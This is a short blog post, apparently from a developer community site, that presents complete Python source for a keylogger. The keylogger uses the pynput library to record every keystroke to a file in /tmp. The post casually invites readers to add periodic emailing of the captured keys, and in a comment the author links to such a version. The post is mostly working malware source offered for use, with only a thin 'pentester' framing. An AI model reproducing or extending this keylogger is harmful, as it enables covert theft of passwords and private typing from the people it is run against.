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Keylogger in just 20 lines of code

ablil profile image ablil ใƒป1 min read

I am sure you have already heard the term keylogger since you're a geek and you're visiting this website.

If you donโ€™t know, let me explain very quickly, a Keylogger as its name indicates, is a tool that captures your keystroke* and saves them somewhere.

If you're a pentester, I am sure you have such tools in your bag ๐Ÿ’ป.

We are using python as a scripting language and pynput library to capture keyboard events.

Here is the full code, exactly 20 lines, the code explains itself.

class Keylogger:                                                                          
    def __init__(self):                                                                   
        self.keylogs = '/tmp/keylogs.logs'                                                
        self.keylogsfile = open(self.keylogs, 'a+')                                       

    def callback(self, key):                                                              
        try:                                                                              
            self.keylogsfile.write(key.char)                                              
        except AttributeError:                                                            
            special_key = str(key)                                                        
            if special_key == 'Key.enter':                                                
                special_key = '\n'                                                        
            if special_key == 'Key.space':                                                
                special_key = ' '                                                         
            self.keylogsfile.write(special_key)                                           

    def run(self):                                                                        
        with keyboard.Listener(on_press=self.callback) as l:                       
            l.join()                                                               

    def stop(self):                                                                       
        self.keylogsfile.close() 
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If you have time, you could extend this code to send captured keystrokes via email periodically ๐Ÿ˜‰

Discussion (2)

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arwazkhan189 profile image
Arwaz Khan

Good idea, I will try it in my free time.๐Ÿ™‚๐Ÿ‘

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ablil profile image
ablil Author

I have added the option to send captured keystrokes via email, feel free to play around with it ๐Ÿ˜‰
github.com/ablil/utilities/blob/ma...